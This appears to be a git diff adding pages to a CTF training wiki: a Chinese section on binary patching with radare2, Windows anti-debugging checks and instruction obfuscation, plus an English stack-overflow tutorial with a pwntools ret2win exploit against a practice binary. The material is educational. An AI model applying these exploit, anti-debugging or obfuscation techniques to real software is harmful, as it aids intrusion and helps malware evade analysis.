地址 0x004005da 处的语句是 call sym.imp.printf,其中机器码 e8 代表 call,所以 sym.imp.printf 的偏移是 0xfffffef1。地址 0x004005e6 处的语句是 call sym.imp.putssym.imp.puts 的偏移是 0xfffffed5

+

接下来找到两个函数的 plt 地址:

+
[0x004004e0]> is~printf
+vaddr=0x004004d0 paddr=0x000004d0 ord=003 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
+[0x004004e0]> is~puts
+vaddr=0x004004c0 paddr=0x000004c0 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts
+
+

计算相对位置:

+
[0x004004e0]> ?v 0x004004d0-0x004004c0
+0x10
+
+

所以要想将 printf 替换为 puts,只要替换成 0xfffffef1 -0x10 = 0xfffffee1 就可以了。

+
[0x004004e0]> s 0x004005da
+[0x004005da]> wx e8e1feffff
+[0x004005da]> pd 1
+|           0x004005da      e8e1feffff     call sym.imp.puts           ; sym.imp.printf-0x10 ; int printf(const char *format)
+
+

搞定。

+
$ ./a.out
+hello
+world
+
+

当然还可以将这一过程更加简化,直接输入汇编,其他的事情 r2 会帮你搞定:

+
[0x004005da]> wa call 0x004004c0
+Written 5 bytes (call 0x004004c0) = wx e8e1feffff
+[0x004005da]> wa call sym.imp.puts
+Written 5 bytes (call sym.imp.puts) = wx e8e1feffff
+
+

使用工具 patch

+

patchkit

+

patchkit 可以让我们通过 Python 脚本来 patch ELF 二进制文件。

+

反调试技术

+ +

什么是反调试

+

反调试是一种重要的软件保护技术,特别是在各种游戏保护中被尤其重视。另外,恶意代码往往也会利用反调试来对抗安全分析。当程序意识到自己可能处于调试中的时候,可能会改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。

+

反调试技术

+

下面先介绍几种 Windows 下的反调试方法。

+

函数检测

+

函数检测就是通过 Windows 自带的公开或未公开的函数直接检测程序是否处于调试状态。最简单的调试器检测函数是 IsDebuggerPresent()

+
BOOL WINAPI IsDebuggerPresent(void);
+
+

该函数查询进程环境块(PEB)中的 BeingDebugged 标志,如果进程处在调试上下文中,则返回一个非零值,否则返回零。

+

示例:

+
BOOL CheckDebug()  
+{  
+    return IsDebuggerPresent();  
+}
+
+

CheckRemoteDebuggerPresent() 用于检测一个远程进程是否处于调试状态:

+
BOOL WINAPI CheckRemoteDebuggerPresent(
+  _In_    HANDLE hProcess,
+  _Inout_ PBOOL  pbDebuggerPresent
+);
+
+

如果 hProcess 句柄表示的进程处于调试上下文,则设置 pbDebuggerPresent 变量被设置为 TRUE,否则被设置为 FALSE

+
BOOL CheckDebug()  
+{  
+    BOOL ret;  
+    CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret);  
+    return ret;  
+}
+
+

NtQueryInformationProcess 用于获取给定进程的信息:

+
NTSTATUS WINAPI NtQueryInformationProcess(
+  _In_      HANDLE           ProcessHandle,
+  _In_      PROCESSINFOCLASS ProcessInformationClass,
+  _Out_     PVOID            ProcessInformation,
+  _In_      ULONG            ProcessInformationLength,
+  _Out_opt_ PULONG           ReturnLength
+);
+
+

第二个参数 ProcessInformationClass 给定了需要查询的进程信息类型。当给定值为 0ProcessBasicInformation)或 7ProcessDebugPort)时,就能得到相关调试信息,返回信息会写到第三个参数 ProcessInformation 指向的缓冲区中。

+

示例:

+
BOOL CheckDebug()
+{
+    DWORD dbgport = 0;
+    HMODULE hModule = LoadLibrary("Ntdll.dll");
+    NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");
+    NtQueryInformationProcess(GetCurrentProcess(), 7, &dbgPort, sizeof(dbgPort), NULL);
+    return dbgPort != 0;
+}
+
+

数据检测

+

数据检测是指程序通过测试一些与调试相关的关键位置的数据来判断是否处于调试状态。比如上面所说的 PEB 中的 BeingDebugged 参数。数据检测就是直接定位到这些数据地址并测试其中的数据,从而避免调用函数,使程序的行为更加隐蔽。

+

示例:

+
BOOL CheckDebug()
+{
+    int BeingDebug = 0;
+    __asm
+    {
+        mov eax, dword ptr fs:[30h]   ; 指向PEB基地址
+        mov eax, dword ptr [eax+030h]
+        movzx eax, byte ptr [eax+2]
+        mov BeingDebug, eax
+    }
+    return BeingDebug != 0;
+}
+
+

由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同,系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置,来决定如果创建堆结构。如果这个位置上的值为 0x70,则进程处于调试器中。

+

示例:

+
BOOL CheckDebug()
+{
+    int BeingDbg = 0;
+    __asm
+    {
+        mov eax, dword ptr fs:[30h]
+        mov eax, dword ptr [eax + 68h]
+        and eax, 0x70
+        mov BeingDbg, eax
+    }
+    return BeingDbg != 0;
+}
+
+

符号检测

+

符号检测主要针对一些使用了驱动的调试器或监视器,这类调试器在启动后会创建相应的驱动链接符号,以用于应用层与其驱动的通信。但由于这些符号一般都比较固定,所以就可以通过这些符号来确定是否存在相应的调试软件。

+

示例:

+
BOOL CheckDebug()
+{
+    HANDLE hDevice = CreateFileA("\\\\.\\PROCEXP153", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
+    if (hDevice)
+    {
+        return 0;
+    }
+}
+
+

窗口检测

+

窗口检测通过检测当前桌面中是否存在特定的调试窗口来判断是否存在调试器,但不能判断该调试器是否正在调试该程序。

+

示例:

+
BOOL CheckDebug()
+{
+    if (FindWindowA("OllyDbg", 0))
+    {
+        return 0;
+    }
+    return 1;
+}
+
+

特征码检测

+

特征码检测枚举当前正在运行的进程,并在进程的内存空间中搜索特定调试器的代码片段。

+

例如 OllyDbg 有这样一段特征码:

+
0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,
+0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,
+0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,
+0x4b, 0x00, 0x00, 0x00
+
+

示例:

+
BOOL CheckDebug()
+{
+    BYTE sign[] = {0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,
+                0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,
+                0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,
+                0x4b, 0x00, 0x00, 0x00;}
+
+    PROCESSENTRY32 sentry32 = {0};
+    sentry32.dwSize = sizeof(sentry32);
+    HANDLE phsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+    Process32First(phsnap, &sentry32);
+    do{
+        HANDLE hps = OpenProcess(MAXIMUM_ALLOWED, FALSE, sentry32.th32ProcessID);
+        if (hps != 0)
+        {
+            DWORD szReaded = 0;
+            BYTE signRemote[sizeof(sign)];
+            ReadProcessMemory(hps, (LPCVOID)0x4f632a, signRemote, sizeof(signRemote), &szReaded);
+            if (szReaded > 0)
+            {
+                if (memcmp(sign, signRemote, sizeof(sign)) == 0)
+                {
+                    CloseHandle(phsnap);
+                    return 0;
+                }
+            }
+        }
+    }
+    sentry32.dwSize = sizeof(sentry32);
+}while(Process32Next(phsnap, &sentry32));
+
+

行为检测

+

行为检测是指在程序中通过代码感知程序处于调试时与未处于调试时的各种差异来判断程序是否处于调试状态。例如我们在调试时步过两条指令所花费的时间远远超过 CPU 正常执行花费的时间,于是就可以通过 rdtsc 指令来进行测试。(该指令用于将时间标签计数器读入 EDX:EAX 寄存器)

+

示例:

+
BOOL CheckDebug()
+{
+    int BeingDbg = 0;
+    __asm
+    {
+        rdtsc
+        mov ecx, edx
+        rdtsc
+        sub edx, ecx
+        mov BeingDbg, edx
+    }
+    if (BeingDbg > 2)
+    {
+        return 0;
+    }
+    return 1;
+}
+
+

断点检测

+

断点检测是根据调试器设置断点的原理来检测软件代码中是否设置了断点。调试器一般使用两者方法设置代码断点:

+
    +
  • 通过修改代码指令为 INT3(机器码为0xCC)触发软件异常
  • +
  • 通过硬件调试寄存器设置硬件断点
  • +
+

针对软件断点,检测系统会扫描比较重要的代码区域,看是否存在多余的 INT3 指令。

+

示例:

+
BOOL CheckDebug()
+{
+    PIMAGE_DOS_HEADER pDosHeader;
+    PIMAGE_NT_HEADERS32 pNtHeaders;
+    PIMAGE_SECTION_HEADER pSectionHeader;
+    DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL);
+    pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage;
+    pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);
+    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) +
+                     (WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader);
+    DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage;
+    DWORD dwCodeSize = pSectionHeader->SizeOfRawData;
+    BOOL Found = FALSE;
+    __asm
+    {
+        cld
+        mov     edi,dwAddr
+        mov     ecx,dwCodeSize
+        mov     al,0CCH
+        repne   scasb   ; 在EDI指向大小为ECX的缓冲区中搜索AL包含的字节
+        jnz     NotFound
+        mov Found,1
+NotFound:
+    }
+    return Found;
+}
+
+

而对于硬件断点,由于程序工作在保护模式下,无法访问硬件调试断点,所以一般需要构建异常程序来获取 DR 寄存器的值。

+

示例:

+
BOOL CheckDebug()
+{
+    CONTEXT context;  
+    HANDLE hThread = GetCurrentThread();  
+    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;  
+    GetThreadContext(hThread, &context);  
+    if (context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3!=0)
+    {  
+        return 1;  
+    }  
+    return 0;  
+}
+
+

行为占用

+

行为占用是指在需要保护的程序中,程序自身将一些只能同时有 1 个实例的功能占为己用。比如一般情况下,一个进程只能同时被 1 个调试器调试,那么就可以设计一种模式,将程序以调试方式启动,然后利用系统的调试机制防止被其他调试器调试。

+

指令混淆

+ +

为什么需要指令混淆

+

软件的安全性严重依赖于代码复杂化后被分析者理解的难度,通过指令混淆,可以将原始的代码指令转换为等价但极其复杂的指令,从而尽可能地提高分析和破解的成本。

+

常见的混淆方法

+

代码变形

+

代码变形是指将单条或多条指令转变为等价的单条或多条其他指令。其中对单条指令的变形叫做局部变形,对多条指令结合起来考虑的变成叫做全局变形。

+

例如下面这样的一条赋值指令:

+
mov eax, 12345678h
+
+

可以使用下面的组合指令来替代:

+
push 12345678h
+pop eax
+
+

更进一步:

+
pushfd
+mov eax, 1234
+shl eax, 10
+mov ax, 5678
+popfd
+
+

pushfdpopfd 是为了保护 EFLAGS 寄存器不受变形后指令的影响。

+

继续替换:

+
pushfd
+push 1234
+pop eax
+shl eax, 10
+mov ax 5678
+
+

这样的结果就是简单的指令也可能会变成上百上千条指令,大大提高了理解的难度。

+

再看下面的例子:

+
jmp {label}
+
+

可以变成:

+
push {label}
+ret
+
+

而且 IDA 不能识别出这种 label 标签的调用结构。

+

指令:

+
call {label}
+
+

可以替换成:

+
push {call指令后面的那个label}
+push {label}
+ret
+
+

指令:

+
push {op}
+
+

可以替换成:

+
sub esp, 4
+mov [esp], {op}
+
+

下面我们来看看全局变形。对于下面的代码:

+
mov eax, ebx
+mov ecx, eax
+
+

因为两条代码具有关联性,在变形时需要综合考虑,例如下面这样:

+
mov cx, bx
+mov ax, cx
+mov ch, bh
+mov ah, bh
+
+

这种具有关联性的特定使得通过变形后的代码推导变形前的代码更加困难。

+

花指令

+

花指令就是在原始指令中插入一些虽然可以被执行但是没有任何作用的指令,它的出现只是为了扰乱分析,不仅是对分析者来说,还是对反汇编器、调试器来说。

+

来看个例子,原始指令如下:

+
add eax, ebx
+mul ecx
+
+

加入花指令之后:

+
xor esi, 011223344h
+add esi, eax
+add eax, ebx
+mov edx, eax
+shl edx, 4
+mul ecx
+xor esi, ecx
+
+

其中使用了源程序不会使用到的 esi 和 edx 寄存器。这就是一种纯粹的垃圾指令。

+

有的花指令用于干扰反汇编器,例如下面这样:

+
01003689    50          push eax
+0100368A    53          push ebx
+
+

加入花指令后:

+
01003689    50          push eax
+0100368A    EB 01       jmp short 0100368D
+0100368C    FF53 6A     call dword ptr [ebx+6A]
+
+

乍一看似乎很奇怪,其实是加入因为加入了机器码 EB 01 FF,使得线性分析的反汇编器产生了误判。而在执行时,第二条指令会跳转到正确的位置,流程如下:

+
01003689    50          push eax
+0100368A    EB 01       jmp short 0100368D
+0100368C    90          nop
+0100368D    53          push ebx
+
+

扰乱指令序列

+

指令一般都是按照一定序列执行的,例如下面这样:

+
01003689    push eax
+0100368A    push ebx
+0100368B    xor eax, eax
+0100368D    cmp eax, 0
+01003690    jne short 01003695
+01003692    inc eax
+01003693    jmp short 0100368D
+01003695    pop ebx
+01003696    pop eax
+
+

指令序列看起来很清晰,所以扰乱指令序列就是要打乱这种指令的排列方式,以干扰分析者:

+
01003689    push eax
+0100368A    jmp short 01003694
+0100368C    xor eax, eax
+0100368E    jmp short 01003697
+01003690    jne short 0100369F
+01003692    jmp short 0100369C
+01003694    push ebx
+01003695    jmp short 0100368C
+01003697    cmp eax, 0
+0100369A    jmp short 01003690
+0100369C    inc eax
+0100369D    jmp short 01003697
+0100369F    pop ebx
+010036A0    pop eax
+
+

虽然看起来很乱,但真实的执行顺序没有改变。

+

多分支

+

多分支是指利用不同的条件跳转指令将程序的执行流程复杂化。与扰乱指令序列不同的时,多分支改变了程序的执行流。举个例子:

+
01003689    push eax
+0100368A    push ebx
+0100368B    push ecx
+0100368C    push edx
+
+

变形如下:

+
01003689    push eax
+0100368A    je short 0100368F
+0100368C    push ebx
+0100368D    jmp short 01003690
+0100368F    push ebx
+01003690    push ecx
+01003691    push edx
+
+

代码里加入了一个条件分支,但它究竟会不会触发我们并不关心。于是程序具有了不确定性,需要在执行时才能确定。但可以肯定的时,这段代码的执行结果和原代码相同。

+

再改进一下,用不同的代码替换分支处的代码:

+
01003689    push eax
+0100368A    je short 0100368F
+0100368C    push ebx
+0100368D    jmp short 01003693
+0100368F    push eax
+01003690    mov dword ptr [esp], ebx
+01003693    push ecx
+01003694    push edx
+
+

不透明谓词

+

不透明谓词是指一个表达式的值在执行到某处时,对程序员而言是已知的,但编译器或静态分析器无法推断出这个值,只能在运行时确定。上面的多分支其实也是利用了不透明谓词。

+

下面的代码中:

+
mov esi, 1
+... ; some code not touching esi
+dec esi
+...
+cmp esi, 0
+jz real_code
+; fake luggage
+real_code:
+
+

假设我们知道这里 esi 的值肯定是 0,那么就可以在 fake luggage 处插入任意长度和复杂度的指令,以达到混淆的目的。

+

其它的例子还有(同样假设esi为0):

+
add eax, ebx
+mul ecx
+add eax, esi
+
+

间接指针

+
dummy_data1 db      100h dup (0)
+message1    db      'hello world', 0
+
+dummy_data2 db      200h dup (0)
+message2    db      'another message', 0
+
+func        proc
+            ...
+            mov     eax, offset dummy_data1
+            add     eax, 100h
+            push    eax
+            call    dump_string
+            ...
+            mov     eax, offset dummy_data2
+            add     eax, 200h
+            push    eax
+            call    dump_string
+            ...
+func        endp
+
+

这里通过 dummy_data 来间接地引用 message,但 IDA 就不能正确地分析到对 message 的引用。

+

代码虚拟化

+

基于虚拟机的代码保护也可以算是代码混淆技术的一种,是目前各种混淆中保护效果最好的。简单地说,该技术就是通过许多模拟代码来模拟被保护的代码的执行,然后计算出与被保护代码执行时相同的结果。

+
+------------+
+| 头部指令序列 | -------> | 代码虚拟机入口 |
+|------------|                  |
+|            |          | 保存代码现场 |
+|            |                  |
+| 中间指令序列 |          | 模拟执行中间指令序列 |
+|            |                  |
+|            |          | 设置新的代码现场 |
+|------------|                  |
+| 尾部指令序列 | <------- | 代码虚拟机出口 |
++------------+
+
+

当原始指令执行到指令序列的开始处,就转入代码虚拟机的入口。此时需要保存当前线程的上下文信息,然后进入模拟执行阶段,该阶段是代码虚拟机的核心。有两种方案来保证虚拟机代码与原始代码的栈空间使用互不冲突,一种是在堆上开辟开辟新的空间,另一种是继续使用原始代码所使用的栈空间,这两种方案互有优劣,在实际中第二种使用较多。

+

对于怎样模拟原始代码,同样有两种方案。一种是将原本的指令序列转变为一种具有直接或者间接对应关系的,只有虚拟机才能理解的代码数据。例如用 0 来表示 push, 1 表示 mov 等。这种直接或间接等价的数据称为 opcode。另一种方案是将原始代码的意义直接转换成新的代码,类似于代码变形,这种方案基于指令语义,所以设计难度非常大。

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/X86_Assembly.pdf b/Training/Material/X86_Assembly.pdf new file mode 100644 index 000000000..b2b49019b Binary files /dev/null and b/Training/Material/X86_Assembly.pdf differ diff --git a/Training/Material/X86_Assembly/index.html b/Training/Material/X86_Assembly/index.html new file mode 100644 index 000000000..8f6dbbcb7 --- /dev/null +++ b/Training/Material/X86_Assembly/index.html @@ -0,0 +1,8155 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + X86 Assembly - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

X86 Assembly

+

From Wikibooks, the open-content textbooks collection

+

Contents

+

• 1 Introduction

+

• 1.1 Why Learn Assembly?

+

• 1.2 Who is This Book For?

+

• 1.3 How is This Book Organized?

+

• 2 Basic FAQ

+

• 2.1 How Does the Computer Read/Understand Assembly?

+

• 2.2 Is it the Same On Windows/DOS/Linux?

+

• 2.3 Which Assembler is Best?

+

• 2.4 Do I Need to Know Assembly?

+

• 2.5 How Should I Format my Code?

+

• 3 X86 Family

+

• 3.1 Intel x86 Microprocessors

+

• 3.2 AMD x86 Compatible Microprocessors

+

• 4 X86 Architecture

+

• 4.1 x86 Architecture

+

• 4.1.1 General Purpose Registers (GPR)

+

• 4.1.2 Segment Registers

+

• 4.1.3 EFLAGS Register

+

• 4.1.4 Instruction Pointer

+

• 4.1.5 Memory

+

• 4.1.6 Two's complement representation

+

• 4.1.7 Addressing modes

+

• 4.2 Stack

+

• 4.3 CPU Operation Modes

+

• 4.3.1 Real Mode

+

• 4.3.2 Protected Mode

+

• 4.3.2.1 Flat Memory Model

+

• 4.3.2.2 Multi-Segmented Memory Model

+

• 5 Comments

+

• 5.1 Comments

+

• 5.2 HLA Comments

+

• 6 16 32 and 64 Bits

+

• 6.1 The 8086 Registers

+

• 6.1.1 Example

+

• 6.2 The A20 Gate Saga

+

• 6.3 32-Bit Addressing

+

• 7 X86 Instructions

+

• 7.1 Conventions

+

• 8 Data Transfer

+

• 8.1 Data transfer instructions

+

• 8.1.1 Move

+

• 8.1.2 Data Swap

+

• 8.1.3 Move and Extend

+

• 8.1.4 Move by Data Size

+

PDF

+

X86 Assembly.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/assets/aslr-64.zip b/Training/Material/assets/aslr-64.zip new file mode 100644 index 000000000..e7ca42d34 Binary files /dev/null and b/Training/Material/assets/aslr-64.zip differ diff --git a/Training/Material/assets/aslr.zip b/Training/Material/assets/aslr.zip new file mode 100644 index 000000000..be4970e62 Binary files /dev/null and b/Training/Material/assets/aslr.zip differ diff --git a/Training/Material/assets/calling-convention-multi-param.zip b/Training/Material/assets/calling-convention-multi-param.zip new file mode 100644 index 000000000..443130d4d Binary files /dev/null and b/Training/Material/assets/calling-convention-multi-param.zip differ diff --git a/Training/Material/assets/calling-conventions-one-param.zip b/Training/Material/assets/calling-conventions-one-param.zip new file mode 100644 index 000000000..af63c5c44 Binary files /dev/null and b/Training/Material/assets/calling-conventions-one-param.zip differ diff --git a/Training/Material/assets/canary-32.zip b/Training/Material/assets/canary-32.zip new file mode 100644 index 000000000..6c345a7a6 Binary files /dev/null and b/Training/Material/assets/canary-32.zip differ diff --git a/Training/Material/assets/canary-64.zip b/Training/Material/assets/canary-64.zip new file mode 100644 index 000000000..2afe4710c Binary files /dev/null and b/Training/Material/assets/canary-64.zip differ diff --git a/Training/Material/assets/exploiting_with_params.zip b/Training/Material/assets/exploiting_with_params.zip new file mode 100644 index 000000000..94ee1fa97 Binary files /dev/null and b/Training/Material/assets/exploiting_with_params.zip differ diff --git a/Training/Material/assets/fmtstr_arb_read.zip b/Training/Material/assets/fmtstr_arb_read.zip new file mode 100644 index 000000000..75e5f2847 Binary files /dev/null and b/Training/Material/assets/fmtstr_arb_read.zip differ diff --git a/Training/Material/assets/fmtstr_arb_write.zip b/Training/Material/assets/fmtstr_arb_write.zip new file mode 100644 index 000000000..1d026ef7a Binary files /dev/null and b/Training/Material/assets/fmtstr_arb_write.zip differ diff --git a/Training/Material/assets/introduction.zip b/Training/Material/assets/introduction.zip new file mode 100644 index 000000000..799d963e5 Binary files /dev/null and b/Training/Material/assets/introduction.zip differ diff --git a/Training/Material/assets/pie-32.zip b/Training/Material/assets/pie-32.zip new file mode 100644 index 000000000..fc11fc13a Binary files /dev/null and b/Training/Material/assets/pie-32.zip differ diff --git a/Training/Material/assets/pie-64.zip b/Training/Material/assets/pie-64.zip new file mode 100644 index 000000000..8538c5bfd Binary files /dev/null and b/Training/Material/assets/pie-64.zip differ diff --git a/Training/Material/assets/pie-fmtstr-64.zip b/Training/Material/assets/pie-fmtstr-64.zip new file mode 100644 index 000000000..8ac5c87e5 Binary files /dev/null and b/Training/Material/assets/pie-fmtstr-64.zip differ diff --git a/Training/Material/assets/pie-fmtstr.zip b/Training/Material/assets/pie-fmtstr.zip new file mode 100644 index 000000000..67fafa12d Binary files /dev/null and b/Training/Material/assets/pie-fmtstr.zip differ diff --git a/Training/Material/assets/ret2libc.zip b/Training/Material/assets/ret2libc.zip new file mode 100644 index 000000000..1a46a8052 Binary files /dev/null and b/Training/Material/assets/ret2libc.zip differ diff --git a/Training/Material/assets/ret2win.zip b/Training/Material/assets/ret2win.zip new file mode 100644 index 000000000..c49c783a7 Binary files /dev/null and b/Training/Material/assets/ret2win.zip differ diff --git a/Training/Material/assets/shellcode.zip b/Training/Material/assets/shellcode.zip new file mode 100644 index 000000000..1ed7afd54 Binary files /dev/null and b/Training/Material/assets/shellcode.zip differ diff --git a/Training/Material/pwn-stack-1/index.html b/Training/Material/pwn-stack-1/index.html new file mode 100644 index 000000000..b05fddc25 --- /dev/null +++ b/Training/Material/pwn-stack-1/index.html @@ -0,0 +1,9010 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Binary Exploitation - Stack - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Binary Exploitation - Stack

+
+

https://ir0nstone.gitbook.io/notes/

+
+

Introduction

+
+

An Introduction to binary exploitation

+
+

Binary Exploitation is about finding vulnerabilities in programs and utilizing them to do what you wish. Sometimes this can result in an authentication bypass or the leaking of classified information, but occasionally (if you're lucky) it can also result in Remote Code Execution (RCE). The most basic forms of binary exploitation occur on the stack, a region of memory that stores temporary variables created by functions in code.

+

When a new function is called, a memory address in the calling function is pushed to the stack - this way, the program knows where to return to once the called function finishes execution. Let's look at a basic binary to show this.

+

introduction.zip

+

Analysis

+

The binary has two files - source.c and vuln; the latter is an ELF file, which is the executable format for Linux (it is recommended to follow along with this with a Virtual Machine of your own, preferably Linux).

+

We're gonna use a tool called radare2 to analyze the behavior of the binary when functions are called.

+
$ r2 -d -A vuln
+
+

The -d runs it while the -A performs the analysis. We can disassemble the main with

+
s main; pdf
+
+

s main seeks (moves) to main, while pdf stands for Print Disassembly Function (literally just disassembles it).

+
0x080491ab      55             push ebp
+0x080491ac      89e5           mov ebp, esp
+0x080491ae      83e4f0         and esp, 0xfffffff0
+0x080491b1      e80d000000     call sym.__x86.get_pc_thunk.ax
+0x080491b6      054a2e0000     add eax, 0x2e4a
+0x080491bb      e8b2ffffff     call sym.unsafe
+0x080491c0      90             nop
+0x080491c1      c9             leave
+0x080491c2      c3             ret
+
+

The call to unsafe is at 0x080491bb, so let's break there.

+
db 0x080491bb
+
+

db stands for debug breakpoint and just sets a breakpoint. A breakpoint is simply somewhere that pauses the program for you to run other commands when reached. Now we run dc for debug continue; this just carries on running the file.

+

It should break before unsafe is called; let's analyze the top of the stack now:

+
[0x08049172]> pxw @ esp
+0xff984af0 0xf7efe000         [...]
+
+

The first address, 0xff984af0, is the position; the 0xf7efe000 is the value. Let's move one more instruction with the ds, debug step, and check the stack again.

+
[0x08049172]> pxw @ esp
+0xff984aec  0x080491c0 0xf7efe000
+
+

Huh, something's been pushed onto the stack - the value 0x080491c0. This looks like it's in the binary - but where?

+
[...]
+0x080491b6      054a2e0000     add eax, 0x2e4a
+0x080491bb      e8b2ffffff     call sym.unsafe
+0x080491c0      90             nop
+[...]
+
+

Look at that - it's the instruction after the call to unsafe. Why? This is how the program knows where to return to after *unsafe()* has finished.

+

Weaknesses

+

But as we're interested in binary exploitation, let's see how we can possibly break this. First, let's disassemble unsafe and break on the ret instruction; ret is the equivalent of pop eip, which will get the saved return pointer we just analyzed on the stack into the eip register. Then let's continue and spam a bunch of characters into the input and see how that could affect it.

+
[0x08049172]> db 0x080491aa
+[0x08049172]> dc
+Overflow me
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+

Now let's read the value at the location the return pointer was at previously, which as we saw was 0xff984aec.

+
[0x080491aa]> pxw @ 0xff984aec
+0xff984aec  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA
+
+

Huh?

+

It's quite simple - we inputted more data than the program expected, which resulted in us overwriting more of the stack than the developer expected. The saved return pointer is also on the stack, meaning we managed to overwrite it. As a result, on the ret, the value popped into eip won't be in the previous function but rather 0x41414141. Let's check with ds.

+
[0x080491aa]> ds
+[0x41414141]>
+
+

And look at the new prompt - 0x41414141. Let's run dr eip to make sure that's the value in eip:

+
[0x41414141]> dr eip
+0x41414141
+
+

Yup, it is! We've successfully hijacked the program execution! Let's see if it crashes when we let it run with dc.

+
[0x41414141]> dc
+child stopped with signal 11
+[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
+
+

radare2 is very useful and prints out the address that causes it to crash. If you cause the program to crash outside of a debugger, it will usually say Segmentation Fault, which could mean a variety of things, but usually that you have overwritten EIP.

+
+

Of course, you can prevent people from writing more characters than expected when making your program, usually using other C functions such as fgets(); gets() is intrinsically unsafe because it doesn't check the length of the input, meaning that the presence of gets() is always something you should check out in a program. It is also possible to give fgets() the wrong parameters, meaning it still takes in too many characters.

+
+

Summary

+

When a function calls another function, it

+
    +
  • pushes a return pointer to the stack so the called function knows where to return
  • +
  • when the called function finishes execution, it pops it off the stack again
  • +
+

Because this value is saved on the stack, just like our local variables, if we write more characters than the program expects, we can overwrite the value and redirect code execution to wherever we wish. Functions such as fgets() can prevent such easy overflow, but you should check how much is actually being read.

+

ret2win

+
+

The most basic binexp challenge

+
+

A ret2win is simply a binary where there is a win() function (or equivalent); once you successfully redirect execution there, you complete the challenge.

+

To carry this out, we have to leverage what we learned in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.

+

To do this, what do we need to know? Well, a couple of things:

+
    +
  • The padding until we begin to overwrite the return pointer (EIP)
  • +
  • What value do we want to overwrite EIP to
  • +
+

When I say "overwrite EIP", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.

+

ret2win.zip

+

Finding the Padding

+

This can be found using simple trial and error; if we send a variable number of characters, we can use the Segmentation Fault message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.

+
+

You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.

+
+

We get an offset of 52 bytes.

+

Finding the Address

+

Now we need to find the address of the flag() function in the binary. This is simple.

+
$ r2 -d -A vuln
+$ afl
+[...]
+0x080491c3    1 43           sym.flag
+[...]
+
+
+

afl stands for Analyse Functions List

+
+

The flag() function is at 0x080491c3.

+

Using the Information

+

The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the As that we sent became 0x41 - which is the ASCII code of A. So the solution is simple - let's just find the characters with ASCII codes 0x08, 0x04, 0x91, and 0xc3.

+

This is a lot simpler than you might think because we can specify them in Python as hex:

+
address = '\x08\x04\x91\xc3'
+
+

And that makes it much easier.

+

Putting it Together

+

Now we know the padding and the value, let's exploit the binary! We can use pwntools to interface with the binary (check out the pwntools posts for a more in-depth look).

+
from pwn import *        # This is how we import pwntools
+
+p = process('./vuln')    # We're starting a new process
+
+payload = 'A' * 52
+payload += '\x08\x04\x91\xc3'
+
+p.clean()                # Receive all the text
+
+p.sendline(payload)
+
+log.info(p.clean())      # Output the "Exploited!" string to know we succeeded
+
+

If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put a pause() to give us time to attach radare2 to the process.

+
from pwn import *
+
+p = process('./vuln')
+
+payload = b'A' * 52
+payload += '\x08\x04\x91\xc3'
+
+log.info(p.clean())
+
+pause()        # add this in
+
+p.sendline(payload)
+
+log.info(p.clean())
+
+

Now let's run the script with python3 exploit.py and then open up a new terminal window.

+
r2 -d -A $(pidof vuln)
+
+

